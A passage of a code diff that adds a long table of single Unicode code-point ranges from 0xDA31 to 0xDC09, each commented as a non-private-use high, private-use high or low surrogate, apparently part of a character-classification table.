+ [0xda31, 0xda31], /* Non Private Use High Surrogate */
+ [0xda32, 0xda32], /* Non Private Use High Surrogate */
+ [0xda33, 0xda33], /* Non Private Use High Surrogate */
+ [0xda34, 0xda34], /* Non Private Use High Surrogate */
+ [0xda35, 0xda35], /* Non Private Use High Surrogate */
+ [0xda36, 0xda36], /* Non Private Use High Surrogate */
+ [0xda37, 0xda37], /* Non Private Use High Surrogate */
+ [0xda38, 0xda38], /* Non Private Use High Surrogate */
+ [0xda39, 0xda39], /* Non Private Use High Surrogate */
+ [0xda3a, 0xda3a], /* Non Private Use High Surrogate */
+ [0xda3b, 0xda3b], /* Non Private Use High Surrogate */
+ [0xda3c, 0xda3c], /* Non Private Use High Surrogate */
+ [0xda3d, 0xda3d], /* Non Private Use High Surrogate */
+ [0xda3e, 0xda3e], /* Non Private Use High Surrogate */
+ [0xda3f, 0xda3f], /* Non Private Use High Surrogate */
+ [0xda40, 0xda40], /* Non Private Use High Surrogate */
+ [0xda41, 0xda41], /* Non Private Use High Surrogate */
+ [0xda42, 0xda42], /* Non Private Use High Surrogate */
+ [0xda43, 0xda43], /* Non Private Use High Surrogate */
+ [0xda44, 0xda44], /* Non Private Use High Surrogate */
+ [0xda45, 0xda45], /* Non Private Use High Surrogate */
+ [0xda46, 0xda46], /* Non Private Use High Surrogate */
+ [0xda47, 0xda47], /* Non Private Use High Surrogate */
+ [0xda48, 0xda48], /* Non Private Use High Surrogate */
+ [0xda49, 0xda49], /* Non Private Use High Surrogate */
+ [0xda4a, 0xda4a], /* Non Private Use High Surrogate */
+ [0xda4b, 0xda4b], /* Non Private Use High Surrogate */
+ [0xda4c, 0xda4c], /* Non Private Use High Surrogate */
+ [0xda4d, 0xda4d], /* Non Private Use High Surrogate */
+ [0xda4e, 0xda4e], /* Non Private Use High Surrogate */
+ [0xda4f, 0xda4f], /* Non Private Use High Surrogate */
+ [0xda50, 0xda50], /* Non Private Use High Surrogate */
+ [0xda51, 0xda51], /* Non Private Use High Surrogate */
+ [0xda52, 0xda52], /* Non Private Use High Surrogate */
+ [0xda53, 0xda53], /* Non Private Use High Surrogate */
+ [0xda54, 0xda54], /* Non Private Use High Surrogate */
+ [0xda55, 0xda55], /* Non Private Use High Surrogate */
+ [0xda56, 0xda56], /* Non Private Use High Surrogate */
+ [0xda57, 0xda57], /* Non Private Use High Surrogate */
+ [0xda58, 0xda58], /* Non Private Use High Surrogate */
+ [0xda59, 0xda59], /* Non Private Use High Surrogate */
+ [0xda5a, 0xda5a], /* Non Private Use High Surrogate */
+ [0xda5b, 0xda5b], /* Non Private Use High Surrogate */
+ [0xda5c, 0xda5c], /* Non Private Use High Surrogate */
+ [0xda5d, 0xda5d], /* Non Private Use High Surrogate */
+ [0xda5e, 0xda5e], /* Non Private Use High Surrogate */
+ [0xda5f, 0xda5f], /* Non Private Use High Surrogate */
+ [0xda60, 0xda60], /* Non Private Use High Surrogate */
+ [0xda61, 0xda61], /* Non Private Use High Surrogate */
+ [0xda62, 0xda62], /* Non Private Use High Surrogate */
+ [0xda63, 0xda63], /* Non Private Use High Surrogate */
+ [0xda64, 0xda64], /* Non Private Use High Surrogate */
+ [0xda65, 0xda65], /* Non Private Use High Surrogate */
+ [0xda66, 0xda66], /* Non Private Use High Surrogate */
+ [0xda67, 0xda67], /* Non Private Use High Surrogate */
+ [0xda68, 0xda68], /* Non Private Use High Surrogate */
+ [0xda69, 0xda69], /* Non Private Use High Surrogate */
+ [0xda6a, 0xda6a], /* Non Private Use High Surrogate */
+ [0xda6b, 0xda6b], /* Non Private Use High Surrogate */
+ [0xda6c, 0xda6c], /* Non Private Use High Surrogate */
+ [0xda6d, 0xda6d], /* Non Private Use High Surrogate */
+ [0xda6e, 0xda6e], /* Non Private Use High Surrogate */
+ [0xda6f, 0xda6f], /* Non Private Use High Surrogate */
+ [0xda70, 0xda70], /* Non Private Use High Surrogate */
+ [0xda71, 0xda71], /* Non Private Use High Surrogate */
+ [0xda72, 0xda72], /* Non Private Use High Surrogate */
+ [0xda73, 0xda73], /* Non Private Use High Surrogate */
+ [0xda74, 0xda74], /* Non Private Use High Surrogate */
+ [0xda75, 0xda75], /* Non Private Use High Surrogate */
+ [0xda76, 0xda76], /* Non Private Use High Surrogate */
+ [0xda77, 0xda77], /* Non Private Use High Surrogate */
+ [0xda78, 0xda78], /* Non Private Use High Surrogate */
+ [0xda79, 0xda79], /* Non Private Use High Surrogate */
+ [0xda7a, 0xda7a], /* Non Private Use High Surrogate */
+ [0xda7b, 0xda7b], /* Non Private Use High Surrogate */
+ [0xda7c, 0xda7c], /* Non Private Use High Surrogate */
+ [0xda7d, 0xda7d], /* Non Private Use High Surrogate */
+ [0xda7e, 0xda7e], /* Non Private Use High Surrogate */
+ [0xda7f, 0xda7f], /* Non Private Use High Surrogate */
+ [0xda80, 0xda80], /* Non Private Use High Surrogate */
+ [0xda81, 0xda81], /* Non Private Use High Surrogate */
+ [0xda82, 0xda82], /* Non Private Use High Surrogate */
+ [0xda83, 0xda83], /* Non Private Use High Surrogate */
+ [0xda84, 0xda84], /* Non Private Use High Surrogate */
+ [0xda85, 0xda85], /* Non Private Use High Surrogate */
+ [0xda86, 0xda86], /* Non Private Use High Surrogate */
+ [0xda87, 0xda87], /* Non Private Use High Surrogate */
+ [0xda88, 0xda88], /* Non Private Use High Surrogate */
+ [0xda89, 0xda89], /* Non Private Use High Surrogate */
+ [0xda8a, 0xda8a], /* Non Private Use High Surrogate */
+ [0xda8b, 0xda8b], /* Non Private Use High Surrogate */
+ [0xda8c, 0xda8c], /* Non Private Use High Surrogate */
+ [0xda8d, 0xda8d], /* Non Private Use High Surrogate */
+ [0xda8e, 0xda8e], /* Non Private Use High Surrogate */
+ [0xda8f, 0xda8f], /* Non Private Use High Surrogate */
+ [0xda90, 0xda90], /* Non Private Use High Surrogate */
+ [0xda91, 0xda91], /* Non Private Use High Surrogate */
+ [0xda92, 0xda92], /* Non Private Use High Surrogate */
+ [0xda93, 0xda93], /* Non Private Use High Surrogate */
+ [0xda94, 0xda94], /* Non Private Use High Surrogate */
+ [0xda95, 0xda95], /* Non Private Use High Surrogate */
+ [0xda96, 0xda96], /* Non Private Use High Surrogate */
+ [0xda97, 0xda97], /* Non Private Use High Surrogate */
+ [0xda98, 0xda98], /* Non Private Use High Surrogate */
+ [0xda99, 0xda99], /* Non Private Use High Surrogate */
+ [0xda9a, 0xda9a], /* Non Private Use High Surrogate */
+ [0xda9b, 0xda9b], /* Non Private Use High Surrogate */
+ [0xda9c, 0xda9c], /* Non Private Use High Surrogate */
+ [0xda9d, 0xda9d], /* Non Private Use High Surrogate */
+ [0xda9e, 0xda9e], /* Non Private Use High Surrogate */
+ [0xda9f, 0xda9f], /* Non Private Use High Surrogate */
+ [0xdaa0, 0xdaa0], /* Non Private Use High Surrogate */
+ [0xdaa1, 0xdaa1], /* Non Private Use High Surrogate */
+ [0xdaa2, 0xdaa2], /* Non Private Use High Surrogate */
+ [0xdaa3, 0xdaa3], /* Non Private Use High Surrogate */
+ [0xdaa4, 0xdaa4], /* Non Private Use High Surrogate */
+ [0xdaa5, 0xdaa5], /* Non Private Use High Surrogate */
+ [0xdaa6, 0xdaa6], /* Non Private Use High Surrogate */
+ [0xdaa7, 0xdaa7], /* Non Private Use High Surrogate */
+ [0xdaa8, 0xdaa8], /* Non Private Use High Surrogate */
+ [0xdaa9, 0xdaa9], /* Non Private Use High Surrogate */
+ [0xdaaa, 0xdaaa], /* Non Private Use High Surrogate */
+ [0xdaab, 0xdaab], /* Non Private Use High Surrogate */
+ [0xdaac, 0xdaac], /* Non Private Use High Surrogate */
+ [0xdaad, 0xdaad], /* Non Private Use High Surrogate */
+ [0xdaae, 0xdaae], /* Non Private Use High Surrogate */
+ [0xdaaf, 0xdaaf], /* Non Private Use High Surrogate */
+ [0xdab0, 0xdab0], /* Non Private Use High Surrogate */
+ [0xdab1, 0xdab1], /* Non Private Use High Surrogate */
+ [0xdab2, 0xdab2], /* Non Private Use High Surrogate */
+ [0xdab3, 0xdab3], /* Non Private Use High Surrogate */
+ [0xdab4, 0xdab4], /* Non Private Use High Surrogate */
+ [0xdab5, 0xdab5], /* Non Private Use High Surrogate */
+ [0xdab6, 0xdab6], /* Non Private Use High Surrogate */
+ [0xdab7, 0xdab7], /* Non Private Use High Surrogate */
+ [0xdab8, 0xdab8], /* Non Private Use High Surrogate */
+ [0xdab9, 0xdab9], /* Non Private Use High Surrogate */
+ [0xdaba, 0xdaba], /* Non Private Use High Surrogate */
+ [0xdabb, 0xdabb], /* Non Private Use High Surrogate */
+ [0xdabc, 0xdabc], /* Non Private Use High Surrogate */
+ [0xdabd, 0xdabd], /* Non Private Use High Surrogate */
+ [0xdabe, 0xdabe], /* Non Private Use High Surrogate */
+ [0xdabf, 0xdabf], /* Non Private Use High Surrogate */
+ [0xdac0, 0xdac0], /* Non Private Use High Surrogate */
+ [0xdac1, 0xdac1], /* Non Private Use High Surrogate */
+ [0xdac2, 0xdac2], /* Non Private Use High Surrogate */
+ [0xdac3, 0xdac3], /* Non Private Use High Surrogate */
+ [0xdac4, 0xdac4], /* Non Private Use High Surrogate */
+ [0xdac5, 0xdac5], /* Non Private Use High Surrogate */
+ [0xdac6, 0xdac6], /* Non Private Use High Surrogate */
+ [0xdac7, 0xdac7], /* Non Private Use High Surrogate */
+ [0xdac8, 0xdac8], /* Non Private Use High Surrogate */
+ [0xdac9, 0xdac9], /* Non Private Use High Surrogate */
+ [0xdaca, 0xdaca], /* Non Private Use High Surrogate */
+ [0xdacb, 0xdacb], /* Non Private Use High Surrogate */
+ [0xdacc, 0xdacc], /* Non Private Use High Surrogate */
+ [0xdacd, 0xdacd], /* Non Private Use High Surrogate */
+ [0xdace, 0xdace], /* Non Private Use High Surrogate */
+ [0xdacf, 0xdacf], /* Non Private Use High Surrogate */
+ [0xdad0, 0xdad0], /* Non Private Use High Surrogate */
+ [0xdad1, 0xdad1], /* Non Private Use High Surrogate */
+ [0xdad2, 0xdad2], /* Non Private Use High Surrogate */
+ [0xdad3, 0xdad3], /* Non Private Use High Surrogate */
+ [0xdad4, 0xdad4], /* Non Private Use High Surrogate */
+ [0xdad5, 0xdad5], /* Non Private Use High Surrogate */
+ [0xdad6, 0xdad6], /* Non Private Use High Surrogate */
+ [0xdad7, 0xdad7], /* Non Private Use High Surrogate */
+ [0xdad8, 0xdad8], /* Non Private Use High Surrogate */
+ [0xdad9, 0xdad9], /* Non Private Use High Surrogate */
+ [0xdada, 0xdada], /* Non Private Use High Surrogate */
+ [0xdadb, 0xdadb], /* Non Private Use High Surrogate */
+ [0xdadc, 0xdadc], /* Non Private Use High Surrogate */
+ [0xdadd, 0xdadd], /* Non Private Use High Surrogate */
+ [0xdade, 0xdade], /* Non Private Use High Surrogate */
+ [0xdadf, 0xdadf], /* Non Private Use High Surrogate */
+ [0xdae0, 0xdae0], /* Non Private Use High Surrogate */
+ [0xdae1, 0xdae1], /* Non Private Use High Surrogate */
+ [0xdae2, 0xdae2], /* Non Private Use High Surrogate */
+ [0xdae3, 0xdae3], /* Non Private Use High Surrogate */
+ [0xdae4, 0xdae4], /* Non Private Use High Surrogate */
+ [0xdae5, 0xdae5], /* Non Private Use High Surrogate */
+ [0xdae6, 0xdae6], /* Non Private Use High Surrogate */
+ [0xdae7, 0xdae7], /* Non Private Use High Surrogate */
+ [0xdae8, 0xdae8], /* Non Private Use High Surrogate */
+ [0xdae9, 0xdae9], /* Non Private Use High Surrogate */
+ [0xdaea, 0xdaea], /* Non Private Use High Surrogate */
+ [0xdaeb, 0xdaeb], /* Non Private Use High Surrogate */
+ [0xdaec, 0xdaec], /* Non Private Use High Surrogate */
+ [0xdaed, 0xdaed], /* Non Private Use High Surrogate */
+ [0xdaee, 0xdaee], /* Non Private Use High Surrogate */
+ [0xdaef, 0xdaef], /* Non Private Use High Surrogate */
+ [0xdaf0, 0xdaf0], /* Non Private Use High Surrogate */
+ [0xdaf1, 0xdaf1], /* Non Private Use High Surrogate */
+ [0xdaf2, 0xdaf2], /* Non Private Use High Surrogate */
+ [0xdaf3, 0xdaf3], /* Non Private Use High Surrogate */
+ [0xdaf4, 0xdaf4], /* Non Private Use High Surrogate */
+ [0xdaf5, 0xdaf5], /* Non Private Use High Surrogate */
+ [0xdaf6, 0xdaf6], /* Non Private Use High Surrogate */
+ [0xdaf7, 0xdaf7], /* Non Private Use High Surrogate */
+ [0xdaf8, 0xdaf8], /* Non Private Use High Surrogate */
+ [0xdaf9, 0xdaf9], /* Non Private Use High Surrogate */
+ [0xdafa, 0xdafa], /* Non Private Use High Surrogate */
+ [0xdafb, 0xdafb], /* Non Private Use High Surrogate */
+ [0xdafc, 0xdafc], /* Non Private Use High Surrogate */
+ [0xdafd, 0xdafd], /* Non Private Use High Surrogate */
+ [0xdafe, 0xdafe], /* Non Private Use High Surrogate */
+ [0xdaff, 0xdaff], /* Non Private Use High Surrogate */
+ [0xdb00, 0xdb00], /* Non Private Use High Surrogate */
+ [0xdb01, 0xdb01], /* Non Private Use High Surrogate */
+ [0xdb02, 0xdb02], /* Non Private Use High Surrogate */
+ [0xdb03, 0xdb03], /* Non Private Use High Surrogate */
+ [0xdb04, 0xdb04], /* Non Private Use High Surrogate */
+ [0xdb05, 0xdb05], /* Non Private Use High Surrogate */
+ [0xdb06, 0xdb06], /* Non Private Use High Surrogate */
+ [0xdb07, 0xdb07], /* Non Private Use High Surrogate */
+ [0xdb08, 0xdb08], /* Non Private Use High Surrogate */
+ [0xdb09, 0xdb09], /* Non Private Use High Surrogate */
+ [0xdb0a, 0xdb0a], /* Non Private Use High Surrogate */
+ [0xdb0b, 0xdb0b], /* Non Private Use High Surrogate */
+ [0xdb0c, 0xdb0c], /* Non Private Use High Surrogate */
+ [0xdb0d, 0xdb0d], /* Non Private Use High Surrogate */
+ [0xdb0e, 0xdb0e], /* Non Private Use High Surrogate */
+ [0xdb0f, 0xdb0f], /* Non Private Use High Surrogate */
+ [0xdb10, 0xdb10], /* Non Private Use High Surrogate */
+ [0xdb11, 0xdb11], /* Non Private Use High Surrogate */
+ [0xdb12, 0xdb12], /* Non Private Use High Surrogate */
+ [0xdb13, 0xdb13], /* Non Private Use High Surrogate */
+ [0xdb14, 0xdb14], /* Non Private Use High Surrogate */
+ [0xdb15, 0xdb15], /* Non Private Use High Surrogate */
+ [0xdb16, 0xdb16], /* Non Private Use High Surrogate */
+ [0xdb17, 0xdb17], /* Non Private Use High Surrogate */
+ [0xdb18, 0xdb18], /* Non Private Use High Surrogate */
+ [0xdb19, 0xdb19], /* Non Private Use High Surrogate */
+ [0xdb1a, 0xdb1a], /* Non Private Use High Surrogate */
+ [0xdb1b, 0xdb1b], /* Non Private Use High Surrogate */
+ [0xdb1c, 0xdb1c], /* Non Private Use High Surrogate */
+ [0xdb1d, 0xdb1d], /* Non Private Use High Surrogate */
+ [0xdb1e, 0xdb1e], /* Non Private Use High Surrogate */
+ [0xdb1f, 0xdb1f], /* Non Private Use High Surrogate */
+ [0xdb20, 0xdb20], /* Non Private Use High Surrogate */
+ [0xdb21, 0xdb21], /* Non Private Use High Surrogate */
+ [0xdb22, 0xdb22], /* Non Private Use High Surrogate */
+ [0xdb23, 0xdb23], /* Non Private Use High Surrogate */
+ [0xdb24, 0xdb24], /* Non Private Use High Surrogate */
+ [0xdb25, 0xdb25], /* Non Private Use High Surrogate */
+ [0xdb26, 0xdb26], /* Non Private Use High Surrogate */
+ [0xdb27, 0xdb27], /* Non Private Use High Surrogate */
+ [0xdb28, 0xdb28], /* Non Private Use High Surrogate */
+ [0xdb29, 0xdb29], /* Non Private Use High Surrogate */
+ [0xdb2a, 0xdb2a], /* Non Private Use High Surrogate */
+ [0xdb2b, 0xdb2b], /* Non Private Use High Surrogate */
+ [0xdb2c, 0xdb2c], /* Non Private Use High Surrogate */
+ [0xdb2d, 0xdb2d], /* Non Private Use High Surrogate */
+ [0xdb2e, 0xdb2e], /* Non Private Use High Surrogate */
+ [0xdb2f, 0xdb2f], /* Non Private Use High Surrogate */
+ [0xdb30, 0xdb30], /* Non Private Use High Surrogate */
+ [0xdb31, 0xdb31], /* Non Private Use High Surrogate */
+ [0xdb32, 0xdb32], /* Non Private Use High Surrogate */
+ [0xdb33, 0xdb33], /* Non Private Use High Surrogate */
+ [0xdb34, 0xdb34], /* Non Private Use High Surrogate */
+ [0xdb35, 0xdb35], /* Non Private Use High Surrogate */
+ [0xdb36, 0xdb36], /* Non Private Use High Surrogate */
+ [0xdb37, 0xdb37], /* Non Private Use High Surrogate */
+ [0xdb38, 0xdb38], /* Non Private Use High Surrogate */
+ [0xdb39, 0xdb39], /* Non Private Use High Surrogate */
+ [0xdb3a, 0xdb3a], /* Non Private Use High Surrogate */
+ [0xdb3b, 0xdb3b], /* Non Private Use High Surrogate */
+ [0xdb3c, 0xdb3c], /* Non Private Use High Surrogate */
+ [0xdb3d, 0xdb3d], /* Non Private Use High Surrogate */
+ [0xdb3e, 0xdb3e], /* Non Private Use High Surrogate */
+ [0xdb3f, 0xdb3f], /* Non Private Use High Surrogate */
+ [0xdb40, 0xdb40], /* Non Private Use High Surrogate */
+ [0xdb41, 0xdb41], /* Non Private Use High Surrogate */
+ [0xdb42, 0xdb42], /* Non Private Use High Surrogate */
+ [0xdb43, 0xdb43], /* Non Private Use High Surrogate */
+ [0xdb44, 0xdb44], /* Non Private Use High Surrogate */
+ [0xdb45, 0xdb45], /* Non Private Use High Surrogate */
+ [0xdb46, 0xdb46], /* Non Private Use High Surrogate */
+ [0xdb47, 0xdb47], /* Non Private Use High Surrogate */
+ [0xdb48, 0xdb48], /* Non Private Use High Surrogate */
+ [0xdb49, 0xdb49], /* Non Private Use High Surrogate */
+ [0xdb4a, 0xdb4a], /* Non Private Use High Surrogate */
+ [0xdb4b, 0xdb4b], /* Non Private Use High Surrogate */
+ [0xdb4c, 0xdb4c], /* Non Private Use High Surrogate */
+ [0xdb4d, 0xdb4d], /* Non Private Use High Surrogate */
+ [0xdb4e, 0xdb4e], /* Non Private Use High Surrogate */
+ [0xdb4f, 0xdb4f], /* Non Private Use High Surrogate */
+ [0xdb50, 0xdb50], /* Non Private Use High Surrogate */
+ [0xdb51, 0xdb51], /* Non Private Use High Surrogate */
+ [0xdb52, 0xdb52], /* Non Private Use High Surrogate */
+ [0xdb53, 0xdb53], /* Non Private Use High Surrogate */
+ [0xdb54, 0xdb54], /* Non Private Use High Surrogate */
+ [0xdb55, 0xdb55], /* Non Private Use High Surrogate */
+ [0xdb56, 0xdb56], /* Non Private Use High Surrogate */
+ [0xdb57, 0xdb57], /* Non Private Use High Surrogate */
+ [0xdb58, 0xdb58], /* Non Private Use High Surrogate */
+ [0xdb59, 0xdb59], /* Non Private Use High Surrogate */
+ [0xdb5a, 0xdb5a], /* Non Private Use High Surrogate */
+ [0xdb5b, 0xdb5b], /* Non Private Use High Surrogate */
+ [0xdb5c, 0xdb5c], /* Non Private Use High Surrogate */
+ [0xdb5d, 0xdb5d], /* Non Private Use High Surrogate */
+ [0xdb5e, 0xdb5e], /* Non Private Use High Surrogate */
+ [0xdb5f, 0xdb5f], /* Non Private Use High Surrogate */
+ [0xdb60, 0xdb60], /* Non Private Use High Surrogate */
+ [0xdb61, 0xdb61], /* Non Private Use High Surrogate */
+ [0xdb62, 0xdb62], /* Non Private Use High Surrogate */
+ [0xdb63, 0xdb63], /* Non Private Use High Surrogate */
+ [0xdb64, 0xdb64], /* Non Private Use High Surrogate */
+ [0xdb65, 0xdb65], /* Non Private Use High Surrogate */
+ [0xdb66, 0xdb66], /* Non Private Use High Surrogate */
+ [0xdb67, 0xdb67], /* Non Private Use High Surrogate */
+ [0xdb68, 0xdb68], /* Non Private Use High Surrogate */
+ [0xdb69, 0xdb69], /* Non Private Use High Surrogate */
+ [0xdb6a, 0xdb6a], /* Non Private Use High Surrogate */
+ [0xdb6b, 0xdb6b], /* Non Private Use High Surrogate */
+ [0xdb6c, 0xdb6c], /* Non Private Use High Surrogate */
+ [0xdb6d, 0xdb6d], /* Non Private Use High Surrogate */
+ [0xdb6e, 0xdb6e], /* Non Private Use High Surrogate */
+ [0xdb6f, 0xdb6f], /* Non Private Use High Surrogate */
+ [0xdb70, 0xdb70], /* Non Private Use High Surrogate */
+ [0xdb71, 0xdb71], /* Non Private Use High Surrogate */
+ [0xdb72, 0xdb72], /* Non Private Use High Surrogate */
+ [0xdb73, 0xdb73], /* Non Private Use High Surrogate */
+ [0xdb74, 0xdb74], /* Non Private Use High Surrogate */
+ [0xdb75, 0xdb75], /* Non Private Use High Surrogate */
+ [0xdb76, 0xdb76], /* Non Private Use High Surrogate */
+ [0xdb77, 0xdb77], /* Non Private Use High Surrogate */
+ [0xdb78, 0xdb78], /* Non Private Use High Surrogate */
+ [0xdb79, 0xdb79], /* Non Private Use High Surrogate */
+ [0xdb7a, 0xdb7a], /* Non Private Use High Surrogate */
+ [0xdb7b, 0xdb7b], /* Non Private Use High Surrogate */
+ [0xdb7c, 0xdb7c], /* Non Private Use High Surrogate */
+ [0xdb7d, 0xdb7d], /* Non Private Use High Surrogate */
+ [0xdb7e, 0xdb7e], /* Non Private Use High Surrogate */
+ [0xdb7f, 0xdb7f], /* Non Private Use High Surrogate */
+ [0xdb80, 0xdb80], /* Private Use High Surrogate */
+ [0xdb81, 0xdb81], /* Private Use High Surrogate */
+ [0xdb82, 0xdb82], /* Private Use High Surrogate */
+ [0xdb83, 0xdb83], /* Private Use High Surrogate */
+ [0xdb84, 0xdb84], /* Private Use High Surrogate */
+ [0xdb85, 0xdb85], /* Private Use High Surrogate */
+ [0xdb86, 0xdb86], /* Private Use High Surrogate */
+ [0xdb87, 0xdb87], /* Private Use High Surrogate */
+ [0xdb88, 0xdb88], /* Private Use High Surrogate */
+ [0xdb89, 0xdb89], /* Private Use High Surrogate */
+ [0xdb8a, 0xdb8a], /* Private Use High Surrogate */
+ [0xdb8b, 0xdb8b], /* Private Use High Surrogate */
+ [0xdb8c, 0xdb8c], /* Private Use High Surrogate */
+ [0xdb8d, 0xdb8d], /* Private Use High Surrogate */
+ [0xdb8e, 0xdb8e], /* Private Use High Surrogate */
+ [0xdb8f, 0xdb8f], /* Private Use High Surrogate */
+ [0xdb90, 0xdb90], /* Private Use High Surrogate */
+ [0xdb91, 0xdb91], /* Private Use High Surrogate */
+ [0xdb92, 0xdb92], /* Private Use High Surrogate */
+ [0xdb93, 0xdb93], /* Private Use High Surrogate */
+ [0xdb94, 0xdb94], /* Private Use High Surrogate */
+ [0xdb95, 0xdb95], /* Private Use High Surrogate */
+ [0xdb96, 0xdb96], /* Private Use High Surrogate */
+ [0xdb97, 0xdb97], /* Private Use High Surrogate */
+ [0xdb98, 0xdb98], /* Private Use High Surrogate */
+ [0xdb99, 0xdb99], /* Private Use High Surrogate */
+ [0xdb9a, 0xdb9a], /* Private Use High Surrogate */
+ [0xdb9b, 0xdb9b], /* Private Use High Surrogate */
+ [0xdb9c, 0xdb9c], /* Private Use High Surrogate */
+ [0xdb9d, 0xdb9d], /* Private Use High Surrogate */
+ [0xdb9e, 0xdb9e], /* Private Use High Surrogate */
+ [0xdb9f, 0xdb9f], /* Private Use High Surrogate */
+ [0xdba0, 0xdba0], /* Private Use High Surrogate */
+ [0xdba1, 0xdba1], /* Private Use High Surrogate */
+ [0xdba2, 0xdba2], /* Private Use High Surrogate */
+ [0xdba3, 0xdba3], /* Private Use High Surrogate */
+ [0xdba4, 0xdba4], /* Private Use High Surrogate */
+ [0xdba5, 0xdba5], /* Private Use High Surrogate */
+ [0xdba6, 0xdba6], /* Private Use High Surrogate */
+ [0xdba7, 0xdba7], /* Private Use High Surrogate */
+ [0xdba8, 0xdba8], /* Private Use High Surrogate */
+ [0xdba9, 0xdba9], /* Private Use High Surrogate */
+ [0xdbaa, 0xdbaa], /* Private Use High Surrogate */
+ [0xdbab, 0xdbab], /* Private Use High Surrogate */
+ [0xdbac, 0xdbac], /* Private Use High Surrogate */
+ [0xdbad, 0xdbad], /* Private Use High Surrogate */
+ [0xdbae, 0xdbae], /* Private Use High Surrogate */
+ [0xdbaf, 0xdbaf], /* Private Use High Surrogate */
+ [0xdbb0, 0xdbb0], /* Private Use High Surrogate */
+ [0xdbb1, 0xdbb1], /* Private Use High Surrogate */
+ [0xdbb2, 0xdbb2], /* Private Use High Surrogate */
+ [0xdbb3, 0xdbb3], /* Private Use High Surrogate */
+ [0xdbb4, 0xdbb4], /* Private Use High Surrogate */
+ [0xdbb5, 0xdbb5], /* Private Use High Surrogate */
+ [0xdbb6, 0xdbb6], /* Private Use High Surrogate */
+ [0xdbb7, 0xdbb7], /* Private Use High Surrogate */
+ [0xdbb8, 0xdbb8], /* Private Use High Surrogate */
+ [0xdbb9, 0xdbb9], /* Private Use High Surrogate */
+ [0xdbba, 0xdbba], /* Private Use High Surrogate */
+ [0xdbbb, 0xdbbb], /* Private Use High Surrogate */
+ [0xdbbc, 0xdbbc], /* Private Use High Surrogate */
+ [0xdbbd, 0xdbbd], /* Private Use High Surrogate */
+ [0xdbbe, 0xdbbe], /* Private Use High Surrogate */
+ [0xdbbf, 0xdbbf], /* Private Use High Surrogate */
+ [0xdbc0, 0xdbc0], /* Private Use High Surrogate */
+ [0xdbc1, 0xdbc1], /* Private Use High Surrogate */
+ [0xdbc2, 0xdbc2], /* Private Use High Surrogate */
+ [0xdbc3, 0xdbc3], /* Private Use High Surrogate */
+ [0xdbc4, 0xdbc4], /* Private Use High Surrogate */
+ [0xdbc5, 0xdbc5], /* Private Use High Surrogate */
+ [0xdbc6, 0xdbc6], /* Private Use High Surrogate */
+ [0xdbc7, 0xdbc7], /* Private Use High Surrogate */
+ [0xdbc8, 0xdbc8], /* Private Use High Surrogate */
+ [0xdbc9, 0xdbc9], /* Private Use High Surrogate */
+ [0xdbca, 0xdbca], /* Private Use High Surrogate */
+ [0xdbcb, 0xdbcb], /* Private Use High Surrogate */
+ [0xdbcc, 0xdbcc], /* Private Use High Surrogate */
+ [0xdbcd, 0xdbcd], /* Private Use High Surrogate */
+ [0xdbce, 0xdbce], /* Private Use High Surrogate */
+ [0xdbcf, 0xdbcf], /* Private Use High Surrogate */
+ [0xdbd0, 0xdbd0], /* Private Use High Surrogate */
+ [0xdbd1, 0xdbd1], /* Private Use High Surrogate */
+ [0xdbd2, 0xdbd2], /* Private Use High Surrogate */
+ [0xdbd3, 0xdbd3], /* Private Use High Surrogate */
+ [0xdbd4, 0xdbd4], /* Private Use High Surrogate */
+ [0xdbd5, 0xdbd5], /* Private Use High Surrogate */
+ [0xdbd6, 0xdbd6], /* Private Use High Surrogate */
+ [0xdbd7, 0xdbd7], /* Private Use High Surrogate */
+ [0xdbd8, 0xdbd8], /* Private Use High Surrogate */
+ [0xdbd9, 0xdbd9], /* Private Use High Surrogate */
+ [0xdbda, 0xdbda], /* Private Use High Surrogate */
+ [0xdbdb, 0xdbdb], /* Private Use High Surrogate */
+ [0xdbdc, 0xdbdc], /* Private Use High Surrogate */
+ [0xdbdd, 0xdbdd], /* Private Use High Surrogate */
+ [0xdbde, 0xdbde], /* Private Use High Surrogate */
+ [0xdbdf, 0xdbdf], /* Private Use High Surrogate */
+ [0xdbe0, 0xdbe0], /* Private Use High Surrogate */
+ [0xdbe1, 0xdbe1], /* Private Use High Surrogate */
+ [0xdbe2, 0xdbe2], /* Private Use High Surrogate */
+ [0xdbe3, 0xdbe3], /* Private Use High Surrogate */
+ [0xdbe4, 0xdbe4], /* Private Use High Surrogate */
+ [0xdbe5, 0xdbe5], /* Private Use High Surrogate */
+ [0xdbe6, 0xdbe6], /* Private Use High Surrogate */
+ [0xdbe7, 0xdbe7], /* Private Use High Surrogate */
+ [0xdbe8, 0xdbe8], /* Private Use High Surrogate */
+ [0xdbe9, 0xdbe9], /* Private Use High Surrogate */
+ [0xdbea, 0xdbea], /* Private Use High Surrogate */
+ [0xdbeb, 0xdbeb], /* Private Use High Surrogate */
+ [0xdbec, 0xdbec], /* Private Use High Surrogate */
+ [0xdbed, 0xdbed], /* Private Use High Surrogate */
+ [0xdbee, 0xdbee], /* Private Use High Surrogate */
+ [0xdbef, 0xdbef], /* Private Use High Surrogate */
+ [0xdbf0, 0xdbf0], /* Private Use High Surrogate */
+ [0xdbf1, 0xdbf1], /* Private Use High Surrogate */
+ [0xdbf2, 0xdbf2], /* Private Use High Surrogate */
+ [0xdbf3, 0xdbf3], /* Private Use High Surrogate */
+ [0xdbf4, 0xdbf4], /* Private Use High Surrogate */
+ [0xdbf5, 0xdbf5], /* Private Use High Surrogate */
+ [0xdbf6, 0xdbf6], /* Private Use High Surrogate */
+ [0xdbf7, 0xdbf7], /* Private Use High Surrogate */
+ [0xdbf8, 0xdbf8], /* Private Use High Surrogate */
+ [0xdbf9, 0xdbf9], /* Private Use High Surrogate */
+ [0xdbfa, 0xdbfa], /* Private Use High Surrogate */
+ [0xdbfb, 0xdbfb], /* Private Use High Surrogate */
+ [0xdbfc, 0xdbfc], /* Private Use High Surrogate */
+ [0xdbfd, 0xdbfd], /* Private Use High Surrogate */
+ [0xdbfe, 0xdbfe], /* Private Use High Surrogate */
+ [0xdbff, 0xdbff], /* Private Use High Surrogate */
+ [0xdc00, 0xdc00], /* Low Surrogate */
+ [0xdc01, 0xdc01], /* Low Surrogate */
+ [0xdc02, 0xdc02], /* Low Surrogate */
+ [0xdc03, 0xdc03], /* Low Surrogate */
+ [0xdc04, 0xdc04], /* Low Surrogate */
+ [0xdc05, 0xdc05], /* Low Surrogate */
+ [0xdc06, 0xdc06], /* Low Surrogate */
+ [0xdc07, 0xdc07], /* Low Surrogate */
+ [0xdc08, 0xdc08], /* Low Surrogate */
+ [0xdc09, 0xdc09], /* Low Surrogate */
